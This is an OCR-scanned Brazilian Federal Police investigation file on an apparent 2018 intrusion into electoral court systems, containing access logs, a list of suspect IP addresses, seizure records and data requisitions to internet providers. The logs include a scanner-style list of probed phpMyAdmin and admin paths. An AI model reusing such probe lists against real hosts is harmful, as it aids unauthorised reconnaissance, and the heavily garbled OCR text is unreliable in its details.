65 18/04/2018 00:56:50 10.12.2.33:34091:X1 10.30.1.229:80:X0 /phpMyAdmin-2.7.0-pl2/
66 18/04/2018 00:56:51 10.12.2.33:34685:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0-betal/
67 18/04/2018 00:56:52 10.12.2.33:34880:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0-rc1/
68 18/04/2018 00:56:52 10.12.2.33:35317:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0-rc2/
69 18/04/2018 00:56:54 10.12.2.33:36082:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0.2/
70 18/04/2018 00:56:54 10.12.2.33:35900:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0.1/
71 18/04/2018 00:56:54 10.12.2.33:35494:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0/

72 18/04/2018 00:56:54 10.12.2.33:36257:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0.3/
73 18/04/2018 00:56:55 10.12.2.33:36449:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.0.4/
74 18/04/2018 00:56:55 10.12.2.33:36589:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.1-rc1/
75 18/04/2018 00:56:56 10.12.2.33:36767:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.1/

76 18/04/2018 00:56:56 10.12.2.33:37109:X1 10.30.1.229:80:X0 /sqlmanager/

77 18/04/2018 00:56:56 10.12.2.33:36958:X1 10.30.1.229:80:X0 /phpMyAdmin-2.8.2/

78 18/04/2018 00:56:57 10.12.2.33:37502:X1 10.30.1.229:80:X0 /p/m/a/

79 18/04/2018 00:56:57 10.12.2.33:37316: X1 10.30.1.229:80:X0 /mysqlmanager/

80 18/04/2018 00:56:58 10.12.2.33:37685:X1 10.30.1.229:80:X0 /PMA2005/

81 18/04/2018 00:56:58 10.12.2.33:37892:X1 10.30.1.229:80:X0 /pma2005/

82 18/04/2018 00:56:59 10.12.2.33:38275:X1 10.30.1.229:80:X0 /phpmanager/

83 18/04/2018 00:57:00 10.12.2.33:38427:X1 10.30.1.229:80:X0 /php-myadmin/

84 18/04/2018 00:57:00 10.12.2.33:38943:X1 10.30.1.229:80:X0 /sqlweb/
N5 18/04/2018 00:57:00 10.12.2.33:38794:X1 10.30.1.229:80:X0 /webadmin/
\81\ 18/04/2018 00:57:00 10.12.2.33:38618:X1 10.30.1.229:80:X0 /phpmy-admin/
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87 18/04/2018 00:57:01 10.12.2.33:39136:X1 10.30.1.229:80:X0 /websql/
88 18/04/2018 00:57:02 10.12.2.33:39293:X1 10.30.1.229:80:X0 /webdb/
89 18/04/2018 00:57:02 10.12.2.33:39434:X1 10.30.1.229:80:X0 /mysqladmin/
90 18/04/2018 00:57:03 10.12.2.33:39822:X1 10.30.1.229:80:X0 /mysql-admin/
91 18/04/2018 16:11:20 10.12.2.39:19461:X1 10.30.1.229:80:X0 /
92 18/04/2018 16:11:20 10.12.2.39:19482:X1 10.30.1.229:80:X0 /images/doxygen.png
93 18/04/2018 16:11:20 | 10.12.2.39:19462:X1 | 10.30.1.229:80:X0 /images/jenkins.ico
94 18/04/2018 16:11:20 10.12.2.39:19481:X1 10.30.1.229:80:X0 /images/gradient2.png
95 18/04/2018 16:11:26 10.12.2.39:19460:X1 10.30.1.229:80:X0 /css-pop.js
96 | 18/04/2018 16:12:14 10.12.2.39:25819:X1 10.30.1.229:80:X0 /verificadorhash/verificaHash.php
97 18/04/2018 16:12:41 10.12.2.39:28252:X1 10.30.1.229:80:X0 /verificadorhash/uploads/ s
08 19/04/2018 04:38:45 10.12.2.7:22412:X]1 10.30.1.35:80:X0 /api/timemachine/index?resource=br.jus.tse.eleitoral:transportado
r-web&metrics=sqale_index%2Cduplicated_lines_densi
99 19/04/2018 04:40:48 10.12.2.7:44791:X1 10.30.1.35:80:X0 /api/measures/component_tree?ps=100&baseComponentKey=br.
jus.tse.eleitoral:transportador-web:src/main/java/b
100 19/04/2018 04:45:18 10.12.2.7:8900:X1 10.30.1.35:80:X0 /code/index?id=br jus.tse.eleitoral:elo-parent
101 19/04/2018 04:45:18 10.12.2.7:7977:X1 10.30.1.35:80:X0 /api/components/show?key=br jus.tse.eleitoral:elo-parent
102 19/04/2018 05:00:37 10.12.2.29:55940:X1 192.168.202.99:80:X0 /eleitoral/titulonet2
103 19/04/2018 05:00:49 10.12.2.29:61838:X1 192.168.202.99:80:X0 /uploads/-/system/project/avatar/81/secad_icn-circulo-processo-
eleitoral.png
104 19/04/2018 05:03:34 10.12.2.29:65004:X1 192.168.202.99:80:X0 /eleitoral/processo-eleitoral-cadastro-
eleitores/tree/stable/02_fontes/dominio/src
105 19/04/2018 05:05:13 10.12.2.7:8467:X1 192.168.202.99:80:X0 /eleitoral/elo/tree/stable/02_fontes/elo-integracao-ws-
bio/src/test/resources

/’/ =
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106

19/04/2018 05:07:58

10.12.2.7:21240:X1

192.168.202.99:80:X0

/eleitoral/biometria/refs/stable/logs_tree/?format=js

107

19/04/2018 05:07:58

10.12.2.7:21241:X1

192.168.202.99:80:X0

/eleitoral/biometria/refs/stable/logs tree/02_fontes?format=js

108

19/04/2018 05:08:22

10.12.2.7:27518:X1

192.168.202.99:80:X0

/eleitoral/biometria/blob/stable/02_fontes/servico-
ws/src/main/java/br/jus/tse/eleitoral/biometria/servico/ws/con

109

19/04/2018 05:08:56

10.12.2.7:31081:X1

192.168.202.99:80:X0

/eleitoral/biometria/tree/stable/02_fontes/servico-
ws/src/main/java/br/jus/tse/eleitoral/biometria/servico/ws

110

19/04/2018 05:09:46

10.12.2.7:43547:X1

192.168.202.99:80:X0

/eleitoral/biometria/tree/stable

11

19/04/2018 05:10:28

10.12.2.7:36992:X1

192.168.202.99:80:X0

/eleitoral/biometria/tree/stable/02_fontes/servico-
ws/src/main/java/br/jus/tse/eleitoral

112

19/04/2018 05:11:06

10.12.2.7:43548:X]1

192.168.202.99:80:X0

/eleitoral/biometria/refs/stable/logs_tree/?format=js

113

19/04/2018 05:11:06

10.12.2.7:43549:X1

192.168.202.99:80:X0

/eleitoral/biometria/refs/stable/logs_tree/02_fontes?format=js

114

19/04/2018 05:12:08

10.12.2.7:51307:X1

192.168.202.99:80:X0

/eleitoral/biometria/blob/stable/02_fontes/soap-
client/src/main/java/br/jus/tse/schemas/wsdl/biometria/assinatura

115

19/04/2018 05:15:10

10.12.2.7:13119:X1

192.168.202.99:80:X0

/eleitoral/biometria/tree/stable/02_fontes/soap-
client/src/main/java/br/jus/tse/schemas/

116

19/04/2018 05:16:17

10.12.2.7:20585:X1

192.168.202.99:80:X0

/eleitoral/biometria/tree/stable/02_fontes/servico/src/main/java/br
/jus/tse/eleitoral/biometria/integracao

19/04/2018 05:19:20

10.12.2.7:29269:X1

192.168.202.99:80:X0

/eleitoral/configuracao/tree/stable/02_fontes/servico

19/04/2018 05:19:37

10.12.2.7:35875:X1

192.168.202.99:80:X0

/eleitoral/configuracao/tree/stable

19/04/2018 05:20:29

10.12.2.7:38041:X1

192.168.202.99:80:X0

/eleitoral/configuracao/tree/stable/02_fontes

[ £
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120 19/04/2018 22:26:27 10.12.2.29:60791:X1 192.168.202.31:8080:X0 | /job/autenticador-biometrico-ho-build/buildHistory/ajax

121 19/04/2018 22:27:54 10.12.2.29:54147:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/test/trend

122 19/04/2018 22:28:10 10.12.2.29:50771:X1 192.168.202.31:8080:X0 | /job/autenticador-biometrico-ho-build/buildHistory/ajax

123 19/04/2018 22:28:33 10.12.2.29:57334:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/br jus.tse.eleitoral$titulonet2/

] 24 19/04/2018 22:28:43 10.12.2.29:59061:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/br.jus.tse.eleitoral$titulonet2-dominio/

125 19/04/2018 22:28:43 10.12.2.29:59108:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/br.jus.tse.eleitoral$titulonet2-
dominio/test/trend

126 19/04/2018 22:28:49 10.12.2.29:59156:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/br jus.tse.eleitoral$titulonet2-
dominio/test/trendMap

127 19/04/2018 22:28:55 10.172.2.29:60257:X1 192.168.202.31:8080:X0 /job/titulonété;éa/bﬁildHistory/aja;( |

128 19/04/2018 22:37:40 10.12.2.29:63792:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/modules

129 19/04/2018 22:38:02 10.12.2.29:64388:X1 192.168.202.31:8080:X0 | /job/titulonet2-qa/buildHistory/ajax

Obs.: linhas semelhantes (com datas aproximadas, mesmos enderegos IPs e argumento) ou com argumento vazio foram omitidas, para maior

- legibilidade e conciso.

N
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CONCLUSAO

Considerando a analise apresentada acima, bem como a possibilidade de

enderecos IP utilizados nos acessos do usuario “digitro”, quais sejam:

vinculagdo dos eventos ocorridos em abril/2018 com a noticia divulgada em setembro/2018,

sugere-se oficiar as empresas supracitadas para que fornegam os dados cadastrais dos

é‘i

Y

USUARIO “DIGITRO”

Organizagao
Endereco IP Data Inicio Data Término Pais

Responsavel

LOCAWEB

SERVICOS DE 191.252.64.20 17/04/2018 21:46:26 | 18/04/2018 06:36:35 | Brasil

INTERNET S/A

HYDRA Reino

COMMUNICATIONS | 195.140.215.13 17/04/2018 20:38:39 | 21/04/2018 15:02:57 .

LTD Unido
185.153.176.4 17/04/2018 21:31:18 | 18/04/2018 19:12:14
185.153.176.5 18/04/2018 01:49:06 | 18/04/2018 02:19:32
185.153.176.8 18/04/2018 02:25:21 | 18/04/2018 05:27:54

T;}(EDIBIT]\)JX(I;T:/I-IEIA 185.153.176.2 18/04/2018 02:37:52 | 18/04/2018 02:56:54 | Panama
185.153.176.6 18/04/2018 03:04:47 | 18/04/2018 03:13:54
185.153.176.3 18/04/2018 03:20:35 | 18/04/2018 03:20:35
185.153.176.9 20/04/2018 10:50:23 | 20/04/2018 15:15:42
201.81.167.53 18/04/2018 03:15:28 | 21/04/2018 08:36:42 .

CLAROS.A, 201.6.129.235 18/04/2018 05:24:54 | 18/04/2018 05:48:59 | Brasi!
189.40.75.154 18/04/2018 18:56:14 | 18/04/2018 18:56:14
191.51.34.72 18/04/2018 19:02:05 | 18/04/2018 19:13:08
189.40.75.239 18/04/2018 20:45:41 | 18/04/2018 23:14:54
177.219.117.183 18/04/2018 20:56:20 | 18/04/2018 20:56:20
189.40.72.247 18/04/2018 22:21:17 | 18/04/2018 22:21:17
189.40.72.14 18/04/2018 22:23:14 | 18/04/2018 22:23:14
189.40.91.135 18/04/2018 22:29:37 | 18/04/2018 23:14:52
189.40.90.239 19/04/2018 01:13:32 | 19/04/2018 01:13:32
189.40.90.253 19/04/2018 04:08:37 | 19/04/2018 04:08:37
189.40.88.15 19/04/2018 08:11:15 | 19/04/2018 08:11:16
189.40.74.26 19/04/2018 16:23:05 | 19/04/2018 17:29:14 Brasil

TIM CELULAR S.A. | 186.253.177.212 | 19/04/2018 18:05:13 | 19/04/2018 18:05:13
189.40.73.163 19/04/2018 19:16:40 | 19/04/2018 19:16:40
189.40.74.205 19/04/2018 20:43:37 | 19/04/2018 20:43:37
189.40.74.87 19/04/2018 22:37:00 | 19/04/2018 23:05:03

181.76.139.50

20/04/2018 01:20:59

20/04/2018 01:20:59

189.40.75.122

20/04/2018 05:00:09

20/04/2018 05:00:09

189.40.88.94

20/04/2018 07:57:59

20/04/2018 09:40:30

189.40.73.91

20/04/2018 10:32:32

20/04/2018 10:32:32

189.40.72.49

20/04/2018 19:30:32

20/04/2018 19:30:32

189.40.88.233

20/04/2018 23:01:19

20/04/2018 23:01:19

189.40.74.155

20/04/2018 23:56:23

21/04/2018 00:11:45

189.40.88.14

21/04/2018 01:39:43

21/04/2018 01:39:43
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Al

189.40.91.65

21/04/2018 06:55:36

21/04/2018 06:55:37

177.164.206.74

21/04/2018 07:52:19

21/04/2018 08:36:40

177.165.110.249

21/04/2018 10:01:29

21/04/2018 12:40:46

186.197.65.147

21/04/2018 12:56:05

21/04/2018 15:04:14

Servigos de Internet S/A, utilizada para baixar o artefato malicioso:

DATA/HORA

ENDERECO IP

18/04/2018, 00:23:48

191.252.0.19

erito Criminal Federal

Também sugere-se a solicitagdo do contetido referente a hospedagem da Locaweb

Com esta Informagéo, devolve-se o material supracitado. Era o que havia a relatar.

Brasilia/DF, 19 de margo de 2019.
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS.Quadra 7 - Lote 23 - Setor Policial Sul Brasilia/DF - CEP 70.610-802
- AUTO DE APREENSAO N° 184/2019
IPL- 1361/2018-4 SR/PFIDF

Ao 18 dia(s) do més de abril de 2019, nesta SUPERINTENDENCIA REGIONAL DE
POLICIA FEDERAL NO DISTRITO FEDERAL, em Brasilia/DF, onde se encontrava
VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, pelo mesmo foi
determinado que se tornasse efetiva a apreensao, na forma da Lei, do material abaixo
discriminado:

A reensao n° 184/2019

Item|Descrigao ] Quant. | Unidade |Observacao

1 |Hd computador 1 | UN |HD externo, marca Multilaser,
na cor prata, encaminhado
juntamente com a Informagao
002/2019-UTC/SRCC

2 |Pendrive 1 1 UN |Pen Drive, capacidade 8 GB,
na cor preta e prata,
encaminhado juntamente com
a ' Informacgao
002/2019-UTC/SRCC

Referida apreensao se deu em cumprimento ao Item 3 do Desbacho da Autoridade
Policial (fls. 30). Nada mais havendo, determinou a autoridade o encerramento do
N) comigo, LEONARDO BRUCE

testemunhas.

presente que, lido e achado conforme, assina
MADUREIRA LOPES, Escrivao de Policia Federal

AUTORIDADE: ... fo W, frereeeeneeeeens

ESCRIVAQ;

IPL N° 1361/2018 . : fls. 1/1
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SERVIGO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENIENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n° 3415/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC
' Em 18 de abril de 2019.

A Sua Senhoria o Chefe do Dep6sito/SR/PF/DF,
Escrivao de Policia Federal

Assunto: Encaminha material apreendido.
Referéncia: IPL n® 1361/2018-4-SR/PF/DF

Senhor Chefe,

Encaminho para fins de guarda em Depoésito, o material abaixo descrito,

conforme item 3 do Despacho de fl. 30.

APREENSAO n° 184/2019 '
Item [Descricdo o Quant. | Unidade |Observagao
1 |Hd computador [ 1 ~UN  [HD externo, marca Muitilaser, na
g cor prata, encaminhado
juntamente com a Informagéo
002/2019-UTC/SRCC
-2 |Pendrive 1 |  UN |Pen Drive, capacidade 8 GB, na
cor preta e prata, encaminhado
juntamente com a Informacéo
- - AN /1 _1002/2019-UTC/SRCC
Atenciosamente, /

VICTOR NEVES FEITOSA CAMPOS

DelegadoLd Policia Federal :
Classe Especiaf - Matricula n°/15/1/ 9
i "

1 // '
B ndlofhodes A matricula  n9
m dd Rpliia Fed ,A.;,, i
‘r8De il 3774‘

Milcxrer,” recebi 0 material acima

IPL N° 1361/2018
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Brasilia/DF, 18 de abril de 2019.

A Sua Senhoria o0 Senhor

Diretor-Presidente da Locaweb Servicos de Internet S/A.
Rua Itapaiuna, 2434

Sao Paulo- SP.

CEP 05707-001

Assunto: Requisita informagoes cadastrais
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhorg) Diretors)

1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do
Inquérito Policial em epigrafe, REQUISITAR a Vossa Senhoria informagdes sobre os dados
cadastrais de usuario, conforme esclarecimentos que seguem.

2- Por 6bvio, e ainda mais ante a expressa previsdo legal, o acesso aos dados
cadastrais ndo estao agasalhados pelo inciso X, do artigo 5°, da Constitui¢io Federal, de modo
que nao se contrapde ao principio da inviolabilidade da intimidade a permissibilidade de acesso
a essas informacgdes sem prévia autorizagao judicial.

3- Alias, como reconhecido pelo proprio legislador patrio, com a insercao do Art.
17-B, na Lei 9.613/98 ("Art. 17-B. A autoridade policial e o Ministério Publico terdo acesso,
exclusivamente, aos dados cadastrais do investigado que informam qualificagdo pessoal,
filiagdo e enderego, independentemente de autorizagéo judicial, mantidos pela Justi¢a Eleitoral,
pelas empresas telefonicas, pelas instituigbes financeiras, pelos provedores de internet e pelas
administradoras de cartdo de crédito") e, posteriormente, com o Art. 2° §2° da Lei
12.830/2013 ("§ 20 Durante a investigagédo criminal, cabe ao delegado de policia a requisigdo
de pericia, informagdes, documentos e dados que interessem & apuragédo dos fatos") e art. 15,
da Lei 12.850/2013 ("Art. 15. O delegado de policia e o Ministério Publico terdo acesso,
independentemente de autorizagdo judicial, apenas aos dados cadastrais do investigado que
informem exclusivamente a qualificacdo pessoal, a filiagdo e o enderego mantidos pela Justica
Eleitoral, empresas telefénicas, instituigdes financeiras, provedores de internet e
administradoras de cartdo de crédito"), a Autoridade Policial pode REQUISITAR dados
cadastrais de investigados, ou seja: qualificacdo pessoal, documentos e endereco,
INDEPENDENTEMENTE DE AUTORIZACAO JUDICIAL, mantidos pelas empresas provedoras
de servicos na internet.

DA REQUISICAQ

4- Sendo assim, REQUISITO os dados cadastrais do usuario do IP 191.252.64.20,
em 17/04/2018, as 21:46:26 e 18/04/2018, as 06:36:35, bem como o conteudo referente a
hospedagem que utilizou o IP 191.252.0.19, em 18/04/2018, as 00:23:48.
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- DO PRA. A ATEN
5- Assinald o PRAZO de 10 (dez) dias para o atendimento, do recebimento.

6- Visando a possibilitar o atendimento em tempo habil, informo que a resposta
devera ser encaminhada para o enderego eletrénico <grcc.df@dpf.gov.br>, devendo o
original tamhém ser encaminhado fisicamente ao signatario, no Grupo de Represséo a
Crimes Cibernéticos (GRCC) da Superintendéncia Regional da Policia Federal em
Brasilia/DF, endere¢o descrito no cabegalho do presente oficio.

DAS COMINACOES LEGAIS EM CASO DE NAO ATENDIMENTO

7- Registro, por oportuno, que o nao atendimento injustificado no prazo implicara na
caracterizagdo da pratica do crime de desobediéncia e/ou de sonegagdo de documento,
sujeitando os responsaveis pela recusa indevida, as penas do artigo . 21 da Lei 12.850/2013
(Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informagbes
requisitadas pelo juiz, Ministério Pablico ou Delegado de Policia, no curso de investigagdo ou
do processo. Pena - recluséo, de 6 (seis) meses a 2 (dois) anos, e multa).

8 - Ressalto, por fim, que a divulgagao do conteudo desta requisi¢ao ao proprietario
da conta ou a terceiros podera caracterizar o crime previsto no paragrafo unico do art. 21, da
Lei 12.850/2013: "Na mesma pena incorre quem, de forma indevida, se apossa, propala,
divulga ou faz uso dos dados cadastrais de que trata esta Lel" e/ou o crime previsto no art. 153,
§ 10-A, do Cédigo Penal: "Divulgar, sem justa causa, informagdes sigilosas ou reservadas,
assim definidas em lei, contidas ou ndo nos sistemas de informag¢bes ou banco de dados da
Administragdo Publica: Pena — detencéo, de 1 (um) a 4 (quatro) anos, e multa."

Atenciosamente,

VICTOR NEVE ITOSA CAMPOS
Delegado olicia Federal

IPL N° 1361/2018 ' fis.2/2




SRIPE/DF
F: g()
Rub: _/

TR
SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL ,
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Su! - Brasilia/DF - CEP 70.610-902
Oficio n® 3418/2019 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 18 de abril de 2019.

A Sua Senhoria 0 Senhora)

Diretor Juridico

Empresas CLARO/NET/EMBRATEL
Rua Verbo Divino, n° 1356, Térreo
Chacara Santo Antonio - Zona Sul
Sao Paulo/SP - CEP 04.719-002

Assunto: Requisita informagoes cadastrais
Ref.: IPL. 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhorg)Diretor(y

1- Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do
Inqueérito Policial em epigrafe, REQUISITAR a Vossa Senhoria informagdes sobre os dados
cadastrais de usuario, conforme esclarecimentos que seguem.

2- Por o6bvio, e ainda mais ante a expressa previsdo legal, 0 acesso aos dados
cadastrais ndo estio agasalhados pelo inciso X, do artigo 5°, da Constituicdo Federal, de modo
que nao se contrapde ao principio da inviolabilidade da intimidade a permissibilidade de acesso
a essas informagdes sem prévia autorizagao judicial.

3- Alias, como reconhecido pelo proprio legislador patrio, com a insercao do Art.
17-B, na Lei 9.613/98 ("Art. 17-B. A autoridade policial e o Ministério Publico terdo acesso,
exclusivamente, aos dados cadastrais do investigado que informam qualificagdo pessoal,
filiagdo e enderego, independentemente de autorizagéo judicial, mantidos pela Justi¢a Eleitoral,
pelas empresas telefénicas, pelas institui¢des financeiras, pelos provedores de internet e pelas
administradoras de cartdo de crédito") e, posteriormente, com o Art. 2°, §2°, da Lei
12.830/2013 ("§ 20 Durante a investigagdo criminal, cabe ao delegado de policia a requisi¢éo
de pericia, informagdes, documentos e dados que interessem & apuragéo dos fatos") e art. 15,
da Lei 12.850/2013 ("Art. 15. O delegado de policia e o Ministério Publico terdo acesso,
independentemente de autorizagdo judicial, apenas aos dados cadastrais do investigado que
informem exclusivamente a qualificagéo pessoal, a filiagdo e o enderego mantidos pela Justica
Eleitoral, empresas telefonicas, instituicdes financeiras, provedores de internet e
administradoras de cartdo de crédito"), a Autoridade Policial pode REQUISITAR dados
cadastrais de investigados, ou seja: qualificagdo pessoal, documentos e endereco,
INDEPENDENTEMENTE DE AUTORIZACAO JUDICIAL, mantidos pelas empresas provedoras
de servigcos na internet. '

DA REQUISICAO

4- Sendo assim, REQUISITO os dados cadastrais dos usuarios do |IP
201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e do IP 201.6.129.235,
em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.
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6- Visando a possibilitar o atendimento em tempo habil, informo que a resposta

devera ser encaminhada para o enderego eletrénico <grcc.df@dpf.gov.br>, devendo o
original também ser encaminhado fisicamente ao signatario, no Grupo de Repressiao a
Crimes Cibernéticos (GRCC) da Superintendéncia Regional da Policia Federal em
Brasilia/DF, enderego descrlto no cabegalho do presente oficio.

DAS CO OS‘HGV‘S M CASO DE NAO ATENDIMENTOQ

7- Registro, por oportuno, que o nao atendimento injustificado no prazo implicara na

caracterizagdo da pratica do crime de desobediéncia e/ou de sonegagédo de documento,
sujeitando os responsaveis pela recusa indevida, as penas do artigo 21 da Lei 12.850/2013
(Art. 21 - Recusar ou omitir dados cadastrais, registros, documentos e informagdes
requisitadas pelo juiz, Ministério Publico ou Delegado de Policia, no curso de investigagéo ou

do processo. Pena - recluséo, de 6 (seis) meses a 2 (dois) anos, e multa)

8 - Ressalto, por fim, que a divulgagéo do contetido desta requisicdo ao proprietario

da conta ou a terceiros podera caracterizar o crime previsto no paragrafo unico do art. 21, da

Lei 12.850/2013: "Na- mesma pena incorre quem, de forma indevida, se apossa, propala,
divulga ou faz uso dos dados cadastrais de que trata esta Lei" e/ou o crime previsto no art. 153,
§ 10-A, do Codlgo Penal: "Divulgar, sem justa causa, informagbes sigilosas ou reservadas,
assim definidas em lei, contidas ou ndo nos sistemas de informagdes ou banco de dados da

Administragdo Publica: Pena — detengdo, de 1 (um) a 4 (quatro) anos, e multa."

Atenciosamente,
VICTOR NEVES/FEITOSA CAMPOS
Delegado dge Policia Federal
Classe Especial - Matricula n°® 16.179
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Brasllia/DF, 18 de abril de 2019,

A Sua Senhoria 0 Senhor

Diretorayda Empresa TIM BRASIL

Av. Alexandre Gusmao, 29, Bloco C, Vila Omero Tom
Santo Andre/SP - CEP. 09.015-970

Assunto: Solicitagao de informagdes
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhor)Diretors)

1. Cumprimentando-o, sirvo-me do presente para, visando a instruir os autos do Inquérito
Policial em epigrafe, REQUISITAR a Vossa Senhoria nnformag:oes sobre os dados cadastrais de usuario,
conforme esclarecimentos que seguem.

2- Por 6bvio, e ainda mais ante a expressa previsdo legal, o acesso aos dados cadastrais
nao estdo agasalhados pelo inciso X, do artigo 5° da Constituicdo Federal, de modo que nZo se
contrapbe ao principio da inviolabilidade da intimidade a permissibilidade de acesso a essas informacdes
sem prévia autorizagao judicial.

3- Alias, como reconhecido pelo proprio legislador patrio, com a insercéo do Art. 17-B, na
Lei 9.613/98 ("Art. 17-B. A autoridade policial e o Ministério Publico terdo acesso, exclusivamente, aos
dados cadastrais - do investigado que informam qualificacdo pessoal, filiagdo e enderego,
independentemente de autorizagdo judicial, mantidos pela Justica Eleitoral, pelas empresas telefonicas,
pelas instituigbes financeiras, pelos provedores de internet e pelas administradoras de cartdo de crédito")
e, posteriormente, com o Art. 2°, §2° da Lei 12.830/2013 ("§ 20 Durante a investigagédo criminal, cabe
ao delegado de policia a requisicdo de pericia, informacdes, documentos e dados que interessem a
apuragéo dos fatos") e art. 15, da Lei 12.850/2013 ("Art. 15. O delegado de policia e o Ministério Publico
terdo acesso, independentemente de autorizagéo judicial, apenas aos dados cadastrais do investigado
que informem exclusivamente a qualificacdo pessoal, a filiagdo e o enderego mantidos pela Justigca
Eleitoral, empresas telefénicas, instituicbes financeiras, provedores de internet e administradoras de
cartdo de crédito"), a Autoridade Policial pode REQUISITAR dados cadastrais de investigados, ou seja:
qualificagéo pessoal, documentos e endereco, INDEPENDENTEMENTE DE AUTORIZACAO JUDICIAL,
mantidos pelas empresas provedoras de servigos na internet.

DA REQUISICAOQ

4- Sendo assim, REQUISITO os dados cadastrais dos usuarios dos IP:
189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189.40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21;17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018,"as 01:13:32
189.40.90.253, em 19/04/2018, as 04:08:37
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O PRA RA ATENDIMENTO

5- Assinalo 0 PRAZO de 10 (dez) dias para o atendimento, a contar. do recebimento.

Of DIMENTO

6- Visando a possibilitar o atendimento em tempo habil, informo que a resposta devera ser
encaminhada para o endereco eletronico <grcc.df@dpf.gov.br>, devendo o original também ser
encaminhado fisicamente ao signatario, no Grupo de Repressao a Crimes Cibernéticos (GRCC) da

| Superintendéncia Regional da Policia Federal em Brasilia/DF, endereco descrlto no cabegalho do
presente oficio.

7- Registro, por oportuno, que o n&do atendimento injustificado no prazo implicara na
caracterizagao da pratica do crime de desobediéncia e/ou de sonegacéo de documento, sujeitando os
responsaveis pela recusa indevida, as penas do artigo 21 da Lei 12.850/2013 (Art. 21 - Recusar ou omitir
dados cadastrais, registros, documentos e informagbes requisitadas pelo juiz, Ministério Publico ou
Delegado de Policia, no curso de investigagdo ou do processo: Pena - recluséo, de 6 (se/s) meses a 2
(dois) anos, e multa).

8 - Ressalto, por fim, que a divulgagéo do conteudo desta requisicéo ao proprietario da conta
ou a terceiros podera céracterizar o crime previsto no paragrafo unico do art. 21, da Lei 12.850/2013: "Na
mesma pena incorre quem, de forma indevida, se apossa, propala, divulga ou faz uso dos dados
cadastrais de que trata esta Lel" efou o crime previsto'no art. 153, § 10-A, do Codigo Penal: "Divulgar,
sem justa causa, informagbes sigilosas ou reservadas, assim definidas em lei, contidas ou ndo nos

. sistemas de informagbes ou banco de dados da Administragéo Pyblica: Pena ~ detengéo, de 1 (um)

a 4 (quatro) anos, e multa."

Atenciosamente, /

VICTOR NEVE
Delegado
Classe Especi

IFOSA CAMPOS
Policia Federal
- Mafriculan® 16.179
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~ REMESSA
Ministéerio Pblico Federal do DF

Aog)jZﬂOE{2019, fago remessa dos autos do IPL nf
1/2 Eu

13 O:\B/A contendo 1 volume(s) e 0 apenso(s).
: / LEONARDO BRUCE MADUREIRA LOPES, Escrivao

yaN

dg_E,o_lg}c’la'Fedéral,_1a>VC'Iasse,_Matricu>Ia n° 17.933, que o lavrei.
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MINISTERIOPUBLICO FEDERAL !
PROCURADORIA DA REPUBLICA NO plSTRITO FEDERAL
COORDENADORIA JURIDICA , -
DIVISAO CRIMINAL .

AUTOS: DPF/DF-1361/2018-INQ S
 CERTIDAO ‘.

\

Certifico que, em 22/04/2019 deram entrada na Procuradoria da Republica no Distrito Federal os presentes autos e nesta
data, conforme" regras estabelecidas no Congresso Intemo de 2018 e na Resolug:ao 31/2018, fago sua:

X Movnmcntagao ao(a) Procurador(a) da Repiiblica; Dr.(a) Igor Nery Figueiredo, ’ ~
- @ Por ser ofa) titular do PRDF — 2° Oficio de CCl, ao qual o presente feito encontra-se distribuido.
O Por ser ofa) titular dq PRDF - Oficio de Mcio Ambicnte e Patriménio Cultural, ao qual o presente feito encontra-
| se distribuido. ]
O Por ser ofa) titular do PRDF — Oficio de CCl, substituto ndo designado.

.

atuando no-
acervo do'PRDF - . ’ ’ .
O A pedido. o, . \

Brasilia, 28/04/

Ana ad eDauz er — mat. 25657-9
DIVISA MINAL h R

CERTIDAO DE REM ESSA

Em;ZS {2/2019 fago remessa dos presentes autos, contendo A*volume(s) e anexo/apenso(s), a (ao)
O Justu;:a Federal/DF @ Departamento de Policia Fed7al O g

Lormillo [ 25082

Responsavel/Matricula




Ministério Publico Federal

Procuradoria da Republica no Distrito Federal

IPL n° 1361/2018 SR/DPF/DF

Sr.(a) Delegado(a) de Policia Federal,

O presente inquérito nfo se encontra suficientemente instruido, havendo

necessidade de prosseguimento das investigagdes com vistas a formagao da opinio delicti.

Destarte, este 6rgdo ministerial concede novo prazo de 90 (noventa) dias
para a realizagdo das diligéncias indispensaveis ao esclarecimento dos fatos sob apuragio,

